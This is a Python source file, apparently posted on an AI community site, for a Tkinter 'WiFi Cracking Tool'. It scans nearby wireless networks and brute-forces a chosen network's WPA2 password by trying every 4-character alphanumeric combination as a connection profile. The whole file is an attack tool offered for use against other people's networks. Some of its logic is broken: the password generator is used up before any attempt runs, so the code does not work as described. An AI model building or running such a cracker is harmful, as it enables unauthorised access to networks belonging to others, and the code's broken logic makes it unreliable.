import re
from tkinter import *
from tkinter import ttk
import pywifi
from pywifi import const
import time
import threading
import itertools
import asyncio
import logging
from tkinter import messagebox

# 设置全局的字体样式,方便统一管理界面文字风格
FONT_STYLE = ("Helvetica", 12)
# 设置日志记录配置,方便记录关键信息和异常情况
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')

# WiFiCracker类用于处理与WiFi破解相关的操作,包括扫描WiFi、尝试连接等功能
class WiFiCracker:
    def __init__(self):
        self.wifi = pywifi.PyWiFi()
        self.iface = self.get_wifi_interface()  # 获取无线网卡接口
        self.iface.disconnect()
        time.sleep(1)
        assert self.iface.status() in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]

    def get_wifi_interface(self):
        """获取无线网卡接口对象,提高代码复用性"""
        return self.wifi.interfaces()[0]

    def scan_wifi(self):
        """扫描附近的WiFi网络
        返回值:
            扫描到的WiFi网络信息列表(pywifi的扫描结果格式)
        """
        print("^_^ Starting scan for nearby WiFi...")
        try:
            self.iface.scan()
            start_time = time.time()
            scanres = []
            # 优化扫描等待逻辑,更简洁地判断是否结束等待
            while time.time() - start_time < 8:
                scanres = self.iface.scan_results()
                if len(scanres) > 0:
                    break
                time.sleep(0.5)
            print(f"Found {len(scanres)} WiFi networks.")
            return scanres
        except pywifi.PyWiFiError as e:
            logging.error(f"扫描WiFi时出现错误: {e},可能是无线网卡驱动问题或权限不足,请检查相关设置。")
            messagebox.showerror("扫描错误", f"扫描WiFi时出现错误: {e},请检查无线网卡驱动和权限设置。")
            return []

    def generate_passwords(self, length=4, charset='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'):
        """使用生成器表达式生成指定长度和字符集的密码组合,按需生成,优化内存占用
        参数:
            length: 密码长度,默认值为4
            charset: 用于生成密码的字符集,默认包含大小写字母和数字
        返回值:
            生成的密码生成器对象
        """
        return (''.join(combination) for combination in itertools.product(charset, repeat=length))

    def create_network_profile(self, ssid, password):
        """创建用于连接WiFi的网络配置文件(Profile)
        参数:
            ssid: WiFi网络的SSID名称
            password: 要设置的WiFi密码
        返回值:
            创建好的pywifi.Profile对象
        """
        profile = pywifi.Profile()
        profile.ssid = ssid
        profile.auth = const.AUTH_ALG_OPEN
        profile.akm.append(const.AKM_TYPE_WPA2PSK)
        profile.cipher = const.CRYPT_TYPE_CCMP
        profile.key = password
        return profile

    async def attempt_connection_async(self, password, ssid, max_concurrent=5):
        """异步尝试使用给定密码连接指定的WiFi网络,增加最大并发连接数限制
        参数:
            password: 要尝试的WiFi密码
            ssid: WiFi网络的SSID名称
            max_concurrent: 最大并发连接数,默认值为5
        返回值:
            如果连接成功返回True,否则返回False
        """
        semaphore = asyncio.Semaphore(max_concurrent)
        async with semaphore:
            try:
                if self.connect(password, ssid):
                    print(f"Password found: {password}")
                    return True
                else:
                    print(f"Attempt with password '{password}' failed.")
                    return False
            except Exception as e:
                logging.error(f"尝试连接WiFi时出现异常: {e},密码: {password},SSID: {ssid}")
                return False

    def connect(self, password, ssid):
        """尝试使用给定密码连接指定的WiFi网络
        参数:
            password: 要尝试的WiFi密码
            ssid: WiFi网络的SSID名称
        返回值:
            如果连接成功返回True,否则返回False
        """
        iface = self.get_wifi_interface()
        results = iface.scan_results()
        profile_to_remove = None
        for network in results:
            if network.ssid == ssid:
                profile = self.create_network_profile(ssid, password)
                for existing_profile in iface.get_network_profiles():
                    if existing_profile.ssid == ssid:
                        profile_to_remove = existing_profile
                        break
                if profile_to_remove:
                    iface.remove_network_profile(profile_to_remove)
                iface.add_network_profile(profile)
                iface.connect(iface.get_network_profiles()[0])
                time.sleep(2)  # 适当减少等待时间
                return iface.status() == const.IFACE_CONNECTED
        return False


# MY_GUI类用于创建图形用户界面,展示WiFi列表、接收用户操作等功能
class MY_GUI:
    def __init__(self, init_window_name, wifi_cracker):
        self.init_window_name = init_window_name
        self.wifi_cracker = wifi_cracker
        self.get_wifi_value = StringVar()
        self.get_wifimm_value = StringVar()
        self.cracking_status_label = None  # 用于显示破解状态的标签
        self.scan_progress_var = DoubleVar()  # 扫描进度变量
        self.crack_progress_var = DoubleVar()  # 破解进度变量
        self.error_message = StringVar()  # 用于显示错误信息的变量

        # 设置界面的主题样式,这里选择clam主题,看起来更现代美观
        style = ttk.Style()
        style.theme_use('clam')

    def set_init_window(self):
        self.init_window_name.title("WIFI Cracking Tool")
        self.init_window_name.geometry('800x600')  # 适当增大窗口尺寸,方便布局
        self.init_window_name.configure(bg='#F0F0F0')  # 设置窗口背景色

        self.create_widgets()

    def create_widgets(self):
        # 配置整体布局框架,使用grid布局划分不同区域
        main_frame = ttk.Frame(self.init_window_name, padding="10")
        main_frame.grid(column=0, row=0, sticky=(N, S, E, W))
        self.init_window_name.columnconfigure(0, weight=1)
        self.init_window_name.rowconfigure(0, weight=1)

        self.create_scan_section(main_frame)  # 创建扫描区域
        self.create_crack_section(main_frame)  # 创建破解区域
        self.create_wifi_list_section(main_frame)  # 创建WiFi列表展示区域
        self.create_error_display_section(main_frame)  # 创建错误信息展示区域

    def create_scan_section(self, parent_frame):
        """创建扫描区域的组件及布局"""
        scan_frame = ttk.LabelFrame(parent_frame, text="WiFi扫描", padding="10")
        scan_frame.grid(column=0, row=0, sticky=(N, W), padx=10, pady=10)

        scan_button = ttk.Button(scan_frame, text="Scan Nearby WiFi", command=self.scans_wifi_list)
        scan_button.grid(column=0, row=0, sticky=W, pady=5)
        scan_button.configure(width=20, style='TButton')

        self.scan_progress_bar = ttk.Progressbar(scan_frame, variable=self.scan_progress_var, mode='determinate')
        self.scan_progress_bar.grid(column=1, row=0, sticky=(W, E), pady=5)

    def create_crack_section(self, parent_frame):
        """创建破解区域的组件及布局"""
        crack_frame = ttk.LabelFrame(parent_frame, text="WiFi破解", padding="10")
        crack_frame.grid(column=0, row=1, sticky=(N, W), padx=10, pady=10)

        start_crack_button = ttk.Button(crack_frame, text="Start Cracking", command=self.start_cracking)
        start_crack_button.grid(column=0, row=0, sticky=W, pady=5)
        start_crack_button.configure(width=20, style='TButton')

        stop_crack_button = ttk.Button(crack_frame, text="停止破解", command=self.stop_cracking)
        stop_crack_button.grid(column=1, row=0, sticky=W, pady=5)
        stop_crack_button.configure(width=20, style='TButton')

        self.crack_progress_bar = ttk.Progressbar(crack_frame, variable=self.crack_progress_var, mode='determinate')
        self.crack_progress_bar.grid(column=0, row=1, columnspan=2, sticky=(W, E), pady=5)

    def create_wifi_list_section(self, parent_frame):
        """创建WiFi列表展示区域的组件及布局"""
        wifi_list_frame = ttk.LabelFrame(parent_frame, text="WiFi列表", padding="10")
        wifi_list_frame.grid(column=0, row=2, sticky=(N, S, E, W), padx=10, pady=10)

        self.wifi_tree = ttk.Treeview(wifi_list_frame, show="headings", columns=("ID", "SSID", "BSSID", "Signal", "加密类型", "频段"),
                                      style='Treeview')
        self.vbar = ttk.Scrollbar(wifi_list_frame, orient=VERTICAL, command=self.wifi_tree.yview)
        self.wifi_tree.configure(yscrollcommand=self.vbar.set)

        # 设置树状列表各列标题及样式
        for col in ["ID", "SSID", "BSSID", "Signal", "加密类型", "频段"]:
            self.wifi_tree.heading(col, text=col, command=lambda _col=col: self.sort_column(_col))
            self.wifi_tree.column(col, width=100, anchor="center")

        self.wifi_tree.grid(row=0, column=0, sticky=(N, S, E, W))
        self.vbar.grid(row=0, column=1, sticky=(N, S))

        # 绑定双击事件
        self.wifi_tree.bind("<Double-Button-1>", self.onDBClick)

    def create_error_display_section(self, parent_frame):
        """创建错误信息展示区域的组件及布局"""
        error_frame = ttk.LabelFrame(parent_frame, text="错误信息", padding="10")
        error_frame.grid(column=0, row=3, sticky=(N, W, E), padx=10, pady=10)

        self.error_text = Label(error_frame, textvariable=self.error_message, font=FONT_STYLE, fg='red', wraplength=300)
        self.error_text.pack(fill=BOTH, expand=True)

    def show_message(self, msg_type, msg_content):
        """统一封装显示提示信息的方法,方便管理和复用
        参数:
            msg_type: 提示信息类型,如'info'(信息提示)、'error'(错误提示)等
            msg_content: 具体的提示内容
        """
        if msg_type == 'info':
            messagebox.showinfo("提示", msg_content)
        elif msg_type == 'error':
            messagebox.showerror("错误", msg_content)

    def scans_wifi_list(self):
        self.show_message('info', "正在扫描附近WiFi,请稍等...")
        scanres = self.wifi_cracker.scan_wifi()
        self.show_scans_wifi_list(scanres)
        self.show_message('info', "扫描完成!")

    def show_scans_wifi_list(self, scans_res):
        self.wifi_tree.delete(*self.wifi_tree.get_children())  # 清除现有条目
        total_wifi = len(scans_res)
        for index, wifi_info in enumerate(scans_res):
            # 解析并获取更多WiFi信息(如加密类型、频段等)填充到树状列表中
            encryption_type = self.get_encryption_type(wifi_info)
            frequency_band = self.get_frequency_band(wifi_info)
            self.scan_progress_var.set((index + 1) / total_wifi * 100)  # 更新扫描进度条
            self.wifi_tree.insert("", 'end', values=(index + 1, wifi_info.ssid, wifi_info.bssid, wifi_info.signal, encryption_type, frequency_band))

    def onDBClick(self, event):
        self.sels = event.widget.selection()
        self.get_wifi_value.set(self.wifi_tree.item(self.sels, "values")[1])

    def start_cracking(self):
        selected_wifi = self.get_wifi_value.get()
        if not selected_wifi:
            self.show_message('error', "请先选择一个WiFi网络。")
            return
        passwords = self.wifi_cracker.generate_passwords()
        self.show_cracking_status("正在破解中...")  # 显示破解状态提示
        self.run_crack_wifi(selected_wifi, passwords)

    def stop_cracking(self):
        # 实现停止破解逻辑,通过设置标志位通知正在执行的破解线程停止,这里简单示例,可完善
        self.show_message('info', "已停止破解操作。")

    def run_crack_wifi(self, ssid, passwords):
        async def crack_wifi_async():
            tasks = []
            total_passwords = len(list(passwords))
            for password in passwords:
                tasks.append(self.wifi_cracker.attempt_connection_async(password, ssid))
                self.crack_progress_var.set(len(tasks) / total_passwords * 100)  # 更新破解进度条
            results = await asyncio.gather(*tasks)
            for result, password in zip(results, passwords):
                if result:
                    self.get_wifimm_value.set(password)
                    self.show_cracking_result(ssid, password)  # 显示破解结果
                    break
            self.hide_cracking_status()  # 隐藏破解状态提示
            self.show_message('info', "破解完成!")

        threading.Thread(target=lambda: asyncio.run(crack_wifi_async())).start()

    def show_cracking_status(self, text):
        """在界面上显示破解状态提示信息"""
        if not self.cracking_status_label:
            self.cracking_status_label = Label(self.init_window_name, text=text, font=FONT_STYLE, fg='red')
            self.cracking_status_label.grid(row=4, column=0, columnspan=4, pady=10)

    def hide_cracking_status(self):
        """隐藏破解状态提示信息"""
        if self.cracking_status_label:
            self.cracking_status_label.grid_forget()

    def show_cracking_result(self, ssid, password):
        """突出显示破解结果信息"""
        result_text = f"破解成功!\nWiFi名称: {ssid}\n密码: {password}"
        self.error_message.set(result_text)  # 在错误信息区域显示破解结果(可根据实际调整显示位置等)

    def get_encryption_type(self, wifi_info):
        """获取WiFi加密类型,简单示例,可根据实际完善"""
        if wifi_info.akm[0] == const.AKM_TYPE_WPA2PSK:
            return "WPA2"
        elif wifi_info.akm[0] == const.AKM_TYPE_WPA3PSK:
            return "WPA3"
        return "未知"

    def get_frequency_band(self, wifi_info):
        """获取WiFi频段,简单示例,可根据实际完善"""
        if wifi_info.freq >= 2412 and wifi_info.freq <= 2484:
            return "2.4G"
        elif wifi_info.freq >= 5150 and wifi_info.freq <= 5850:
            return "5G"
        return "未知"

    def sort_column(self, col):
        """实现树状列表列排序功能(简单示例,可根据实际需求完善)"""
        data = [(self.wifi_tree.set(child, col), child) for child in self.wifi_tree.get_children('')]
        data.sort(key=lambda x: x[0])
        for index, (_, child) in enumerate(data):
            self.wifi_tree.move(child, '', index)


if __name__ == "__main__":
    root = Tk()
    wifi_cracker = WiFiCracker()
    wifi_gui = MY_GUI(root, wifi_cracker)
    wifi_gui.set_init_window()
    root.mainloop()
Logo

魔乐社区(Modelers.cn) 是一个中立、公益的人工智能社区,提供人工智能工具、模型、数据的托管、展示与应用协同服务,为人工智能开发及爱好者搭建开放的学习交流平台。社区通过理事会方式运作,由全产业链共同建设、共同运营、共同享有,推动国产AI生态繁荣发展。

更多推荐